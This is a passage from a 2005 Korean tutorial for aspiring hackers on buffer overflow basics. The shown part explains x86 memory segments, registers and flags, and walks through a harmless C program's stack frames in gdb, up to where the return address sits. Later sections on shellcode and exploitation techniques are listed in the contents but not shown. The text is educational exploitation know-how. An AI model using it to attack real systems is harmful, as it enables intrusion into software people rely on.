해커지망자들이알아야할 Buffer Overflow Attack 의기초 What every applicant for the hacker should know about the foundation of buffer overflow attacks By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com 2005 년 9월 5일
Abstract Buffer overflow 공격은방법은오래전에발표된기술이지만아직까지도많이사용되고있는기술이다. 그이유는무엇보다 buffer overflow 공격에취약한프로그램이많이만들어지고있기때문이다. 근간에도 buffer overflow 공격기법을다룬문서는국적을막론하고많이만들어지고있으며수시로발표되고있다. 그리고대부분의문서들은기술적인기법을설명하고있을뿐그원리와시스템구조에대한설명은부족하다. 또한 buffer overflow 기법의기초를설명하고있는문서또한많이발표되었으나번역을통한문서라이해를하기가힘들뿐만아니라이제막해커의길로접어들려는많은지망자들에게는어려운것이현실이다. 이에이문서는해커지방자들이 buffer overflow 공격기법을이해하고이를응용할수있으며새로발표되는관련문서들을이해하기쉽도록기반지식을전달하고자작성되었다. Buffer overflow 공격기법을이해하기위해서는무엇보다컴퓨터에서실행되는프로세스의구조와자료저장방식, 함수호출과정및리턴과정, 함수실행과정에대한정확한이해가필요하다. IA32 (32-bit Intel Architecture) 시스템에서프로세스의구성과명령어실행과정을살펴보고함수내에서의스텍버퍼의생성및동작과정, 함수호출과정등을하나하나면밀히짚어가며분석하면서 buffer overflow 공격방법을살펴보도록하겠다. 또한최신의기법은아니지만기존에사용되었던 overflow 공격기법을다시짚어보면서그원리들을이해하면근래에발표되고있는문서들을이해하는데많은도움이될것이다. 본문서에서는고전적인 return address 추측기법, 환경변수를이용하는기법, Return into libc 기법을이용한 buffer overflow 공격기법을예를들어설명한다. 2
Contents 1. 목적 -------------------------------------------------------------------------------------------------------------- 4 2. 8086 Memory Architecture --------------------------------------------------------------------------------- 4 3. 8086 CPU 레지스터구조 ----------------------------------------------------------------------------------- 7 4. 프로그램구동시 Segment에서는어떤일이? ---------------------------------------------------- 12 simple.c --------------------------------------------------------------------------------------------------- 18 step 1 ------------------------------------------------------------------------------------------------------ 19 step 2 ------------------------------------------------------------------------------------------------------ 20 step 3 ------------------------------------------------------------------------------------------------------ 22 step 4 ------------------------------------------------------------------------------------------------------ 23 step 5 ------------------------------------------------------------------------------------------------------ 24 step 6 ------------------------------------------------------------------------------------------------------ 25 step 7 ------------------------------------------------------------------------------------------------------ 26 step 8 ------------------------------------------------------------------------------------------------------ 27 5. Buffer overflow 의이해 ----------------------------------------------------------------------------------- 28 byte order ------------------------------------------------------------------------------------------------- 31 shell code 만들기 -------------------------------------------------------------------------------------- 33 Dynamic Link Library & Static Link Library ----------------------------------------------------- 35 NULL의제거 ---------------------------------------------------------------------------- 44 buffer overlow 공격 --------------------------------------------------------------------------------- 54 고전적인방법 --------------------------------------------------------------------------------- 55 환경변수를이용한방법 ------------------------------------------------------------------------------ 57 Return into Libc 기법 ------------------------------------------------------------------------------ 70 6. 마치며--------------------------------------------------------------------------------------------------------- 85 7. 참고문서 ------------------------------------------------------------------------------------------------------- 85 3
1. 목적 본문서는시스템에원하는명령을실행시키기위해사용되는 Buffer Overflow 공격에대한원리와관련지식들을설명한다. Buffer overflow 공격에대해서설명하고있는문서는매우많다. 하지만정작이제막해킹을공부하려는지망생들에게는다소이해하기에어려움이있는것이현실이다. 본문서는 Buffer overflow 공격이어떻게이루어지는지를설명하는것은물론이고이러한공격이가능하게되는그원리와컴퓨터시스템의기본구조에대해서설명하고있다. 여러가지산재되어있는지식들을잘정리해서모아보는것이그목적이며 Buffer overflow 공격법을개발하려하고이제막공부를시작하는이들에게도움이되고자한다. 2. 8086 Memory Architecture High address Available Space Kernel Low address < 그림 1. 8086 basic memory structure> 8086 시스템의기본적인메모리구조는 < 그림 1> 과같다. 시스템이초기화되기시작하면시스템은커널을메모리에적재시키고가용메모리영역을확인하게된다. 시스템은운영에필요한기본적인명령어집합을커널에서찾기때문에커널영역은반드시저위치에있어야한다. 기본적으로커널은 64KByte 영역에자리잡지만이를확장하여오늘날의운영체제들은더큰영역을사용한다. 32bit 시스템에서는 CPU가한꺼번에처리할수있는데이터가 32bit 단위로되어있기때문에메모리영역에주소를할당할수있는범위가 0 ~ 4
2 32-1 이다. 최근 PC용으로나혹은이미서버급시스템에서사용된시스템의 CPU는 64bit 씩처리할수있으므로당연히메모리영역역시 0 ~ 2 64-1 범위를갖는다. 이제우리가알아야할것은하나의프로세스즉하나의프로그램이실행되기위한메모리구조이다. 운영체제는하나의프로세스를실행시키면이프로세스를 segment라는단위로묶어서가용메모리영역에저장시킨다. 그구조는 < 그림 2> 와같다. < 그림 2. segmented memory model> < 그림 2> 와같이오늘날의시스템은멀티테스킹 (multi-tasking) 이가능하므로메모리에는여러개의프로세스가저장되어병렬적으로작업을수행한다. 그래서가용한메모리영역에는여러개의 segment들이저장될수있다. segment는위에서언급한바와같이하나의프로세스를묶은것으로실행시점에실제메모리의어느위치에저장될지가결정된다. 하나의 segment는 < 그림 2> 의오른편에나와있는구조를가지고있다. 각각을 code segment, data segment, stack segment라고한다. 시스템에는최대 16,383개의 segment가생성될수있고그크기와타입은모두다양하게생성될수있다. 그리고하나의 segment 는최대 2 32 byte의크기를가질수있다. code segment에는시스템이알아들을수있는명령어즉 instruction들이들어있다. 이것은기계어코드로써컴파일러가만들어낸코드이다. instruction들은명령을수행하면서많은분기과정과점프, 시스템호출등을수행하게되는데분기와점프의경우메모리상의특정위치에있는명령을지정해주어야한다. 하지만 segment는자신이현재메모리상에어느위치에저장될지컴파일과정에서는알수없기때문에정확한주소를지정할수없다. 5
따라서 segment에서는 logical address를사용한다. Logical address는실제메모리상의주소 (physical address) 와매핑되어있다. 즉 segment는 segment selector에의해서자신의시작위치 (offset) 를찾을수있고자신의시작위치로부터의위치 (logical address) 에있는명령을수행할지를결정하게되는것이다. 따라서실제메모리주소 physical address는 offset + logical address 라고할수있다. < 그림 3. logical address, physical address> < 그림 3> 에서보는바와같이 segment가실제로위치하고있는메모리상의주소를 0x80010000이라고가정하자. code segment 내에들어있는하나의 instruction IS 1를가리키는주소는 0x00000100 이다. 이것은 logical address이고이 instruction의실제메모리상의주소는 segment offset인 0x80010000과 segment내의주소 0x00000100을더한 0x80010100 이된다. 따라서이 segment가메모리상의어느위치에있더라도 segment selector가 segment의 offset을알아내어해당 instruction의정확한위치를찾아낼수있게된다. data segment에는프로그램이실행시에사용되는데이터가들어간다. 여기서말하는데이터는전역변수들이다. 프로그램내에서전역변수를선언하면그변수가 data segment에자리잡게된다. data segment는다시네개의 data segment로나뉘는데각각현재모듈의 data structure, 상위레벨로부터받아들이는데이터모듈, 동적생성데이터, 다른프로그램과공유하는공유데이터부분이다. stack segment는현재수행되고있는 handler, task, program이저장하는데이터영역으로우리가사용하는버퍼가바로이 stack segment에자리잡게된다. 또한프로그램이사용하는 multiple 스텍을생성할수있고각스텍들간의 switch가가능하다. 지역변수들이자리잡는공간이다. 6
스텍은처음생성될때그필요한크기만큼만들어지고프로세스의명령에의해데이터를저장해나가는과정을거치게되는데이것은 stack pointer(sp) 라고하는레지스터가스텍의맨꼭대기를가리키고있다. 스텍에데이터를저장하고읽어들이는과정은 PUSH와 POP instruction에의해서수행된다. 스텍의데이터구조를이해하기위해서쉽게떠올릴수있는것은바로접시닦기를생각하면된다. 식당의주방에서접시를닦는다고생각해보자. 새로씻은접시는선반위에쌓아둔접시더미의맨위에올려놓는다 (PUSH). 그리고다음씻은접시는그위에다시올려놓는다 (PUSH). 음식을담기위해접시를사용할텐데이때맨아래접시를끄집어내려고하지않을것이다. 당연히맨위의접시를사용한다 (POP). 스텍도이와마찬가지로가장최근에 PUSH된데이터를 POP 명령을통해서가져오게된다. 3. 8086 CPU 레지스터구조 지금까지하나의 segment의구조를알아보았다. 그러면이제 CPU가프로세스를실행하기위해서는프로세스를 CPU에적재시켜야할것이다. 그리고이렇게흩어져있는명령어집합 (Instruction set) 과데이터들을적절하게집어내고읽고저장하기위해서는여러가지저장공간이필요하다. 또한 CPU가재빨리읽고쓰기를해야하는데이터들이므로 CPU 내부에존재하는메모리를사용한다. 이러한저장공간을레지스터 (register) 라고한다. 일반적인시스템의프로그램레지스터의구조는 < 그림 4> 와같다. 레지스터는다시그목적에따라서범용레지스터 (General-Purpose register), 세그먼트레지스터 (segment register), 플래그레지스터 (Program status and control register), 그리고인스트럭션포인터 (instruction pointer) 로구성된다. 범용레지스터는논리연산, 수리연산에사용되는피연산자, 주소를계산하는데사용되는피연산자, 그리고메모리포인터가저장되는레지스터다. 세그먼트레지스터는 code segment, data segment, stack segment를가리키는주소가들어가있는레지스터다. 플래그레지스터는프로그램의현재상태나조건등을검사하는데사용되는플래그들이있는레지스터이다. 인스트럭션포인터는다음수행해야하는명령 (instruction) 이있는메모리상의주소가들어가있는레지스터다. 7
< 그림 4. 일반적시스템의프로그램레지스터구성 > 범용레지스터 < 그림 5. 범용레지스터 > 범용레지스터는프로그래머가임의로조작할수있게허용되어있는레지스터다. 일종의 4개의 32bit 변수라고생각하면된다. 예전의 16bit 시절에서는각레지스터를 AX, BX, CX, DX.. 등으로불렀지만 32bit 시스템으로전환되면서 E(Extended) 가앞에붙어 EAX, EBX, ECX, EDX.. 등으로불린다. AX 레지스터의상위부분을 AH라고하고하위부분을 AL이라고한다. EAX, EBX, ECX, EDX 레지스터들은프로그래머의필요에따라아무렇게나사용해도되지만최초태생은자신들의목적을가지고태어났고나중에기계어코드를읽고이해 8
하기편하게하기위해서그목적대로사용해주는것이좋다. 또한컴파일러도이러한목적에맞게사용하고있다. 각레지스터의목적을살펴보자. EAX 피연산자와연산결과의저장소 EBX DS segment안의데이터를가리키는포인터 ECX 문자열처리나루프를위한카운터 EDX I/O 포인터 ESI DS 레지스터가가리키는 data segment 내의어느데이터를가리키고있는포인터. 문자열처리에서 source를가리킴. EDI ES 레지스터가가리키고있는 data segment 내의어느데이터를가리키고있는포인터. 문자열처리에서 destination을가리킴. ESP SS 레지스터가가리키는 stack segment의맨꼭대기를가리키는포인터 EBP SS 레지스터가가리키는스텍상의한데이터를가리키는포인터 세그먼트레지스터 < 그림 6. 세그먼트레지스터 > 세그먼트레지스터는 < 그림 6> 에서보는바와같이프로세스의특정세그먼트를가리키는포인터역할을한다. CS 레지스터는 code segment를, DS, ES, FS, GS 레지스터는 data segment를, SS 레지스터는 stack segment를가리킨다. 이렇게세그먼트레지스터가가리키는위치를바탕으로우리는원하는 segment안의특정데이터, 명령어들정확하게끄집어낼수가있게된다. < 그림 7> 은각레지스터가가리키는세그먼트들을설명해주고있다. 9
< 그림 7. 세그먼트레지스터가가리키는세그먼트들 > 플래그레지스터컨트롤플래그레지스터는상태플래그, 컨트롤플래그, 시스템플래그들의집합이다. 시스템이리셋되어초기화되면이레지스터는 0x00000002의값을가진다. 그리고 1, 3, 5, 15, 22~31번비트는예약되어있어소프트웨어에의해조작할수없게되어있다. < 그림 8> 은플래그레지스터의구조를보여주고있다. < 그림 8. 플래그레지스터의구성 > 10
각플래그들의역할을간단히살펴보자. Status flags CF carry flag. 연산을수행하면서 carry 혹은 borrow가발생하면 1이된다. Carry와 borrow 는덧셈연산시 bit bound를넘어가거나뺄셈을하는데빌려오는경우를말한다. PF Parity flag. 연산결과최하위바이트의값이 1이짝수일경우에 1이된다. 패리티체크를하는데사용된다. AF Adjust flag. 연산결과 carry나 borrow가 3bit 이상발생할경우 1이된다. ZF Zero flag. 결과가 zero임을가리킨다. If문같은조건문이만족될경우 set된다. SF Sign flag. 이것은연산결과최상위비트의값과같다. Signed 변수의경우양수이면 0, 음수이면 1이된다. OF Overflow flag. 정수형결과값이너무큰양수이거나너무작은음수여서피연산자의데이터타입에모두들어가지않을경우 1이된다. DF Direction flag. 문자열처리에있어서 1일경우문자열처리 instruction이자동으로감소 ( 문자열처리가 high address에서 low address로이루어진다 ), 0일경우자동으로증가한다. System flags IF Interrupt enable flag. 프로세서에게 mask한 interrupt에응답할수있게하려면 1을준다. TF Trap flag. 디버깅을할때 single-step을가능하게하려면 1을준다. IOPL I/O privilege level field. 현재수행중인프로세스혹은 task의권한레벨을가리킨다. 현재수행중인프로세스의권한을가리키는 CPL이 I/O address 영역에접근하기위해서는 I/O privilege level보다작거나같아야한다. NT Nested task flag. Interrupt의 chain을제어한다. 1이되면이전실행 task와현재 task가연결되어있음을나타낸다. RF Resume flag. Exception debug 하기위해프로세서의응답을제어한다. VM Virtual-8086 mode flag. Virtual-8086 모드를사용하려면 1을준다. AC Alignment check flag. 이비트와 CR0 레지스터의 AM 비트가 set되어있으면메모리레퍼런스의 alignment checking이가능하다. VIF Virtual interrupt flag. IF flag의가상이미지이다. VIP flag와결합시켜사용한다. VIP Virtual interrupt pending flag. 인터럽트가 pending( 경쟁상태 ) 되었음을가리킨다. ID Identification flag. CPUID instruction을지원하는 CPU인지를나타낸다. Instruction Pointer Instruction pointer 레지스터는다음실행할명령어가있는현재 code segment의 offset 값 11
을가진다. 이것은하나의명령어범위에서선형명령집합의다음위치를가리킬수있다. 뿐만아니라 JMP, Jcc, CALL, RET와 IRET instruction이있는주소값을가진다. EIP 레지스터는소프트웨어에의해바로엑세스할수없고 control-transfer instruction (JMP, Jcc, CALL, RET) 이나 interrupt와 exception에의해서제어된다. EIP 레지스터를읽을수있는방법은 CALL instruction을수행하고나서프로시저스텍 (procedure stack) 으로부터리턴하는 instruction의 address를읽는것이다. 프로시저스텍의 return instruction pointer의값을수정하고 return instruction(ret, IRET) 을수행함으로해서 EIP 레지스터의값을간접적으로지정해줄수있다. 지금까지 8086 시스템의메모리및 CPU 레지스터의구조를알아보았다. 이렇게복잡하고어려운구조를알아야하는이유는우리가 buffer overflow 공격을하는데있어적절한 padding 사용과 return address의정확한위치를찾고필요한 assembly 코드를추출하고이해하는데필요하다. 이문서의목적달성은외우기힘든 8086 시스템의구조가기억이안나나중에뒤적거릴때다시한번펼쳐볼수있다면 OK다. 이제알아야할것은바로 buffer 의성장과정이다. 4. 프로그램구동시 Segment 에서는어떤일이? 프로그램이실행되어프로세스가메모리에적재되고메모리와레지스터가어떻게동작하는지알아보기위하여간단한프로그램을예를들도록하겠다. 아래의프로그램을보자. void function(int a, int b, int c){ char buffer1[15]; char buffer2[10]; } void main(){ } function(1, 2, 3); < 그림 9. simple.c> 위프로그램은별동작도하지않는아주간단한프로그램이다. 스텍을이해하기위해만든프로그램이므로잘보기바란다. < 그림 9> 에서보여주는 C 프로그램을어셈블리코드로변환하기위해서아래와같은옵션으로컴파일하였다. $gcc S o simple.asm simple.c 12
-S 옵션을이용하여컴파일을한다. 이렇게하여만들어지는어셈블리코드는컴파일러의버전에따라다르게생성된다. 그이유는컴파일러가버전업되면서레지스터활용성을높인다거나보안성능을높이기위해혹은수행속도개선, 알고리즘의변화등다양한원인으로다른결과물을만들어낸다. 딱히최근버전이좋다고할수도없고나쁘다고도할수는없다. 다만컴파일러의버전에따라다르게나올수있다는점을알고있으면된다. 만들어진어셈블리프로그램은 simple.asm이라는파일이름으로생성되었다. 확인해보자. [dalgona@redhat8 bof]$ cat simple.asm.file "simple.c".text.globl function.type function,@function function: pushl %ebp movl %esp, %ebp subl $40, %esp leave ret.lfe1:.size function,.lfe1-function.globl main.type main,@function main: pushl %ebp movl %esp, %ebp subl $8, %esp andl $-16, %esp movl $0, %eax subl %eax, %esp subl $4, %esp pushl $3 pushl $2 pushl $1 call function addl $16, %esp leave 13
ret.lfe2:.size main,.lfe2-main.ident "GCC: (GNU) 3.2.3 20030422 (Hancom Linux 3.2.3)" [dalgona@redhat8 bof]$ < 그림 10. gcc 3.2.3 에서생성된 simple.asm> 필자가사용하는한컴리눅스 3.0에서는위와같은결과가나왔다. 배포판의버전보다는 gcc의버전을보자. gcc의버전이 3.2.3 이다. 한편비교적최근의배포판인 Red Hat Fedora core 3에포함되어있는 gcc 3.4.2는아래와 같은어셈블리코드를생성하였다. [dalgona@testbed bof]$ cat simple.asm.file "simple.c".text.globl function.type tion, @function: pushl %ebp movl %esp, %ebp subl $40, %esp leave ret.size tion,.-tion.globl main.type main, @function main: pushl %ebp movl %esp, %ebp subl $8, %esp andl $-16, %esp movl $0, %eax addl $15, %eax addl $15, %eax shrl $4, %eax sall $4, %eax subl %eax, %esp subl $4, %esp 14
pushl $3 pushl $2 pushl $1 call function addl $16, %esp leave ret.size main,.-main.section.note.gnu-stack,"",@progbits.ident "GCC: (GNU) 3.4.2 20041017 (Red Hat 3.4.2-6.fc3)" [dalgona@testbed bof]$ < 그림 11. gcc 3.4.2에서생성된 simple.asm> 굵게표시된부분이추가되었다. gcc 3.4.2에서추가된저코드는군더더기다. 우리프로그램에는필요없는부분이므로무시하자. 일단은 < 그림 10> 에서보여주는코드를가지고살펴보도록하겠다. gcc 3.2.3 의경우임을유의하기바란다. simple.c 프로그램이컴파일되어실제메모리상에어느위치에존재하기될지알아보기위해서컴파일을한다음 gdb를이용하여어셈블리코드와메모리에적재될 logical address 를살펴보도록하자. [dalgona@redhat8 bof]$ gcc -o simple simple.c simple.c: In function `main': simple.c:6: warning: return type of `main' is not `int' [dalgona@redhat8 bof]$ gdb simple GNU gdb Red Hat Linux (5.2.1-4) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disas main Dump of assembler code for function main: 0x80482fc <main>: push %ebp 0x80482fd <main+1>: mov %esp,%ebp 15
0x80482ff <main+3>: sub $0x8,%esp 0x8048302 <main+6>: and $0xfffffff0,%esp 0x8048305 <main+9>: mov $0x0,%eax 0x804830a <main+14>: sub %eax,%esp 0x804830c <main+16>: sub $0x4,%esp 0x804830f <main+19>: push $0x3 0x8048311 <main+21>: push $0x2 0x8048313 <main+23>: push $0x1 0x8048315 <main+25>: call 0x80482f4 <function> 0x804831a <main+30>: add $0x10,%esp 0x804831d <main+33>: leave 0x804831e <main+34>: ret 0x804831f <main+35>: nop End of assembler dump. (gdb) disas function Dump of assembler code for function function: 0x80482f4 <function>: push %ebp 0x80482f5 <function+1>: mov %esp,%ebp 0x80482f7 <function+3>: sub $0x28,%esp 0x80482fa <function+6>: leave 0x80482fb <function+7>: ret End of assembler dump. (gdb) < 그림 12. gcc 3.2.3으로컴파일한후 gdb로 disassemble 한모습 > 이렇게나왔다. 앞에붙어있는주소는 logical address이다. 이주소를자세히보면 function() 함수가아래에자리잡고 main() 함수는위에자리잡고있음을알수있다. 따라서메모리주소를바탕으로생성될이프로그램의 segment 모양은 < 그림 13> 과같이될것임을유추할수있다. < 그림 13> 과같이 segment가구성되었다. segment의크기는프로그램마다다르기때문에최상위메모리의주소는그림과같이구성되지않을수도있다. 다만필자가임의의값을정한것이다. 이 segment의 logical address는 0x08000000 부터시작하지만실제프로그램이컴파일과링크되는과정에서다른라이브러리들을필요로하게된다. 따라서코딩한코드가시작되는지점은시작점과일치하지는않을것이다. 뿐만아니라 stack segment 역시 0xBFFFFFFF까지할당되지만역시필요한환경변수나실행옵션으로주어진변수등등에의해서가용한영역은그보다조금더아래에자리잡고있다. simple.c는전역변수를지정 16
하지않았기때문에 data segment에는링크된라이브러리의전역변수값만들어있을것이다. 이제프로그램이시작되면 EIP 레지스터즉, CPU가수행할명령이있는레지스터는 main() 함수가시작되는코드를가리키고있을것이다. main() 함수의시작점은 0x80482fc가되겠다. 이제한명령어씩따라가보도록하자. ESP가정확히어느지점을가리키는지알아보기위하여 gdb를이용하여레지스터값을알아보았다. (gdb) break *0x80482fc Breakpoint 1 at 0x80482fc (gdb) r Starting program: /home/dalgona/work/bof/simple Breakpoint 1, 0x080482fc in main () (gdb) info register esp esp 0xbffffa7c 0xbffffa7c 17
Stack Segment 환경변수, argc, argv pointer 등등 0xBFFFFFFF Data Segment Code Segment 0x804831f <main+35>: nop 0x804831e <main+34>: ret 0x804831d <main+33>: leave 0x804831a <main+30>: add $0x10,%esp 0x8048315 <main+25>: call 0x80482f4 0x8048313 <main+23>: push $0x1 0x8048311 <main+21>: push $0x2 0x804830f <main+19>: push $0x3 0x804830c <main+16>: sub $0x4,%esp 0x804830a <main+14>: sub %eax,%esp 0x8048305 <main+9>: mov $0x0,%eax 0x8048302 <main+6>: and $0xfffffff0,%esp 0x80482ff <main+3>: sub $0x8,%esp 0x80482fd <main+1>: mov %esp,%ebp 0x80482fc <main>: push %ebp 0x80482fb <function+7>: ret 0x80482fa <function+6>: leave 0x80482f7 <function+3>: sub $0x28,%esp 0x80482f5 <function+1>: mov %esp,%ebp 0x80482f4 <function>: push %ebp 공유라이브러리함수등등 0x08000000 < 그림 13. simple.c 프로그램이실행될때의 segment 모습 > 18
<Step 1> ESP 0xbffffa7c 좌측의그림과같이 EIP 는 main() 함수의시작점을 가리키고 있다. 그리고 ESP는스텍의맨꼭대기 를가리키고있다. ESP가 스텍의맨꼭대기를가리 키고있는이유는프로그 램이 수행되면서 수많은 0x804831f <main+35>: nop PUSH와 POP 명령을할것이기때문에이지점에다 PUSH를해라, 이지점에있는데이터를 POP해가라라는의미이다. PUSH 0x804831e <main+34>: ret 0x804831d <main+33>: leave 명령이 ESP가 가리키는 0x804831a <main+30>: add $0x10,%esp 0x8048315 <main+25>: call 0x80482f4 지점에다 데이터를 넣을 0x8048313 <main+23>: 0x804830f <main+19>: push push $0x1 $0x3 0x8048311 <main+21>: 0x804830c <main+16>: push sub $0x2 $0x4,%esp 것인지아니면 ESP가가리키는아래지점에다데 0x804830a <main+14>: sub %eax,%esp 이터를 넣을 것인지는 0x8048305 <main+9>: mov $0x0,%eax 0x8048302 <main+6>: and $0xfffffff0,%esp system architecture에따라 0x80482ff <main+3>: sub $0x8,%esp 0x80482fd <main+1>: mov %esp,%ebp 다르다. 마찬가지로 POP 0x80482fc <main>: push %ebp 0x80482fb <function+7>: ret EIP 명령이 ESP가 가리키는 0x80482fa <function+6>: leave 0x80482f7 <function+3>: sub $0x28,%esp 지점의 데이터를 가져갈 0x80482f5 <function+1>: mov %esp,%ebp 0x80482f4 <function>: push %ebp 것인지아니면 ESP가가 리키는지점위의데이터 를가져갈것인지역시다르게동작한다. 하지만별상관은없다. ebp를저장하는이유는이전에수행하던함수의데이터를보존하기위해서이다. 이것을 base pointer라고도부른다. 그래서함수가시작될때에는이렇게 stack pointer와 base pointer를새로지정하는데이러한과정을함수프롤로그과정이라고한다. 19
<Step 2> 이전함수의 base pointer EBP ESP 0xbffffa78 push %ebp 를수행하여이전함수의 base pointer 를저장하면 stack pointer 는 4 바이트아 래인 0xbffffa78 을가리키게 될것이다. 0x804831f <main+35>: nop 0x804831e <main+34>: ret 0x804831d <main+33>: leave 0x804831a <main+30>: add $0x10,%esp 0x8048315 <main+25>: call 0x80482f4 0x8048313 <main+23>: push $0x1 0x8048311 <main+21>: push $0x2 0x804830f <main+19>: push $0x3 0x804830c <main+16>: sub $0x4,%esp 0x804830a <main+14>: sub %eax,%esp 0x8048305 <main+9>: mov $0x0,%eax 0x8048302 <main+6>: and $0xfffffff0,%esp 0x80482ff <main+3>: sub $0x8,%esp 0x80482fd <main+1>: mov %esp,%ebp 0x80482fc <main>: push %ebp 0x80482fb <function+7>: ret 0x80482fa <function+6>: leave 0x80482f7 <function+3>: sub $0x28,%esp 0x80482f5 <function+1>: mov %esp,%ebp 0x80482f4 <function>: push %ebp 0xbffffa70 이들어가게된다. 지면을아끼기위하여다음명령들도계속살펴보자. EIP mov %esp, %ebp 를수행하여 ESP 값을 EBP에복사하였다. 이렇게함으로써함수의 base pointer와 stack pointer가같은지점을가리키게된다. sub $0x8, %esp 는 ESP에서 8을빼는명령이다. 따라서 ESP는 8바이트아래지점을가리키게되고스텍에 8바이트의공간이생기게된다. 이것을스텍이 8바이트확장되었다고말한다. 이명령이수행되고나면 ESP에는 and $0xfffffff0, %esp 은 ESP와 11111111 11111111 11111111 11110000 과 AND 연산을한다. 이것은 ESP의주소값의맨뒤 4bit를 0으로만들기위함이다. 별의미없는명령이다. mov $0x0, %eax EAX 레지스터에 0을넣고 sub %eax, %esp ESP에들어있는값에서 EAX에들어있는값만큼뺀다. 이것은역시 stack pointer를 EAX 20
만큼확장시키려하는것이지만 0 이들어있으므로의미없는명령이다. sub $0x4, %esp 스텍을 4 바이트확장하였다. 따라서 ESP 에들어있는값은 0xbffffa6c 가된다. 21
<Step 3> 이전함수의 base pointer EBP 0xbffffa78 ESP 0xbffffa6c 지금까지의명령을수행한모습은좌측그림과같다. ESP는 12바이트이동하였다. 0x804831f <main+35>: nop 0x804831e <main+34>: ret 0x804831d <main+33>: leave 0x804831a <main+30>: add $0x10,%esp 0x8048315 <main+25>: call 0x80482f4 0x8048313 <main+23>: push $0x1 0x8048311 <main+21>: push $0x2 0x804830f <main+19>: push $0x3 0x804830c <main+16>: sub $0x4,%esp 0x804830a <main+14>: sub %eax,%esp 0x8048305 <main+9>: mov $0x0,%eax 0x8048302 <main+6>: and $0xfffffff0,%esp 0x80482ff <main+3>: sub $0x8,%esp 0x80482fd <main+1>: mov %esp,%ebp 0x80482fc <main>: push %ebp 0x80482fb <function+7>: ret 0x80482fa <function+6>: leave 0x80482f7 <function+3>: sub $0x28,%esp 0x80482f5 <function+1>: mov %esp,%ebp 0x80482f4 <function>: push %ebp EIP 다음으로수행할명령은 push $0x03 push $0x02 push $0x01 이다. 이것은 function(1, 2, 3) 을수행하기위해인자값 1, 2, 3을차례로넣어준다. 순서가 3, 2, 1이되어있는것은스텍에서끄집어낼때에는거꾸로나오기때문에그렇다. 왜이값들이여기에들어가는지는 < 그림 13> 에서 argc, argv가위치한자리와아래에서설명할 function() 의프롤로그가끝난다음의스텍의모습을보면이해가될것이다. call 0x80482f4 명령은 0x80482f4에있는명령을수행하라는것이다. 보는것과같이 0x80482f4에는 function 함수가자리잡은곳이다. call 명령은함수를호출할때사용되는명령으로함수실행이끝난다음다시이후명령을계속수행할수있도록이후명령이있는주소를스텍에넣은다음 EIP에함수의시작지점의주소를넣는다. add $0x10, %esp 명령이있는주소이다. 따라서함수수행이끝나고나면이제어디에있는명령을수행해야하는가하는것을스텍에서 POP하여알수있게되는것이다. 이것이바로 buffer overflow에서가장중요한 return address 이다. 이제 EIP에는 function함수가있는 0x80482f4 주소값이들어가게된다. 22
<Step 4> 이전함수의 base pointer 3 2 1 0x804831a EBP 0xbffffa78 ESP 0xbffffa5c 이제 EIP는 function() 함수가시작되는지점을가리키고있고스텍에는 main() 함수에서넣었던값들이차곡차곡쌓여있다. 0x804831f <main+35>: nop 0x804831e <main+34>: ret 0x804831d <main+33>: leave 0x804831a <main+30>: add $0x10,%esp 0x8048315 <main+25>: call 0x80482f4 0x8048313 <main+23>: push $0x1 0x8048311 <main+21>: push $0x2 0x804830f <main+19>: push $0x3 0x804830c <main+16>: sub $0x4,%esp 0x804830a <main+14>: sub %eax,%esp 0x8048305 <main+9>: mov $0x0,%eax 0x8048302 <main+6>: and $0xfffffff0,%esp 0x80482ff <main+3>: sub $0x8,%esp 0x80482fd <main+1>: mov %esp,%ebp 0x80482fc <main>: push %ebp 0x80482fb <function+7>: ret 0x80482fa <function+6>: leave 0x80482f7 <function+3>: sub $0x28,%esp 0x80482f5 <function+1>: mov %esp,%ebp 0x80482f4 <function>: push %ebp EIP push %ebp mov %esp, %ebp function() 함수에서도마찬가지로함수프롤로그가수행된다. main() 함수에서사용하던 base pointer가저장되고 stack pointer를 function() 함수의 base pointer로삼는다. 23
<Step 5> 이전함수의 base pointer function() 함수의프롤로그가끝나고만난명령은 3 2 1 0x804831a 0xbffffa78 sub $0x28, %esp EBP ESP 0xbffffa58 이다. 이것은스텍을 40바이트확장한다. 40바이트가 된 이유는 simple.c의 function() 함수에 서지역변수로 buffer1[15] 와 buffer2[10] 을선언했기 때문인데 buffer1[15] 는 총 0x804831f <main+35>: nop 15바이트가필요하지만스 0x804831e <main+34>: ret 0x804831d <main+33>: leave 텍은 word (4byte) 단위로자 0x804831a <main+30>: add $0x10,%esp 라기때문에 16바이트를할 0x80482fc <main>: push %ebp 0x80482fb <function+7>: ret 0x8048315 <main+25>: 0x8048311 <main+21>: 0x804830c <main+16>: 0x8048305 <main+9>: 0x80482ff <main+3>: call push sub mov sub 0x80482f4 $0x2 $0x4,%esp $0x0,%eax $0x8,%esp 0x8048313 <main+23>: 0x804830f <main+19>: 0x804830a <main+14>: 0x8048302 <main+6>: 0x80482fd <main+1>: push push sub and mov $0x1 $0x3 %eax,%esp $0xfffffff0,%esp %esp,%ebp 당하고 buffer2[10] 을위해서는 12바이트를할당한다. 따라서확장되어야할스텍의크기는 28바이트이다. 하지만이것은 gcc버전에따라서또달라진다. 0x80482fa <function+6>: leave gcc 2.96 미만의버전에서 0x80482f7 <function+3>: sub $0x28,%esp EIP 0x80482f5 <function+1>: mov %esp,%ebp 는위와같이 word 단위로 0x80482f4 <function>: push %ebp 할당되어 28바이트확장이 되겠지만 gcc 2.96 이후의버전에서는스텍은 16배수로할당된다. 단 8바이트이하의버퍼 는 1 word 단위로할당되지만 9바이트이상의버퍼는 4 word 단위로할당이된다. 또한 8바 이트 dummy값이들어간다. 이에따른정확한이유와규칙성은아직발견하지못했다. 아무튼이런이유로 buffer1[15] 를위해서 16바이트가할당되고 buffer2[10] 을위해서 16바이트가할당된다. 그리고추가로 8바이트의 dummy가들어가총 40바이트의스텍이확장된것이다. 8바이트 dummy에무슨값이들어가있는것은아니지만쓸데없는 8바이트의공간이소모되고있다는의미이다. 그리고 function함수의인자는 function() 함수의 base pointer 와 return address 위에존재하게된다. 이것은 < 그림 13> 에서보는바와같이 main함수가호출될때주어지는인자 argc, argv가위치한곳과같은배치를갖고있다. 어떤가? 이제 < 그림 13> 이이해가되지않는가? 24
